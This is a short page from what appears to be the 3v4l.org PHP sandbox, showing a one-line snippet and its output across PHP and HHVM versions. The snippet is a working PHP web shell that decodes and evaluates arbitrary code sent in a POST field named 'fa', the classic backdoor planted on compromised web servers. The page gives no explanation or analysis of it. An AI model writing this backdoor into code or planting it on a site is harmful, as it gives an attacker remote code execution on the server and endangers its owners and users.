3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<? eval(base64_decode($_POST["fa"])); ?>
Output for 5.4.0 - 5.6.28, hhvm-3.10.0 - 3.12.0, 7.0.0 - 7.1.0
Notice: Undefined index: fa in /in/0kqIM on line 2
Output for 4.3.0 - 5.3.29
<? eval(base64_decode($_POST["fa"])); ?>